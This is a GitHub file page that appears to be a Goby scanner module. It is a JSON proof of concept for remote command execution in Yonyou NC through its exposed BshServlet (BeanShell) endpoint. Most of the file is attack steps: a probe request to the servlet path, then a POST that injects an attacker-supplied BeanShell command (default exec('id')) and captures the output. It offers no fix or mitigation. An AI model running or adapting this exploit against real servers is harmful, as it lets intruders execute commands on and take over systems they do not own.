-
Notifications
You must be signed in to change notification settings - Fork 197
/
yongyou_NC_bsh.servlet.BshServlet_RCE.json
101 lines (101 loc) · 3.63 KB
/
yongyou_NC_bsh.servlet.BshServlet_RCE.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
{
"Name": "用友 NC bsh.servlet.BshServlet 远程命令执行漏洞",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "body=\"Script\"",
"Description": "用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞,通过BeanShell 执行远程命令获取服务器权限",
"Product": "",
"Homepage": "https://gobies.org/",
"Author": "[email protected]",
"Impact": "",
"Recommandation": "<p>undefined</p>",
"References": [
"https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A"
],
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "exec('id')",
"show": ""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/servlet/~ic/bsh.servlet.BshServlet",
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "OR",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "Script",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/servlet/~ic/bsh.servlet.BshServlet",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
},
"data_type": "text",
"data": "bsh.script={{{Cmd}}}"
},
"ResponseTest": {
"type": "group",
"operation": "OR",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "Administrator",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-06-01 18:26:13",
"GobyVersion": "1.8.268"
}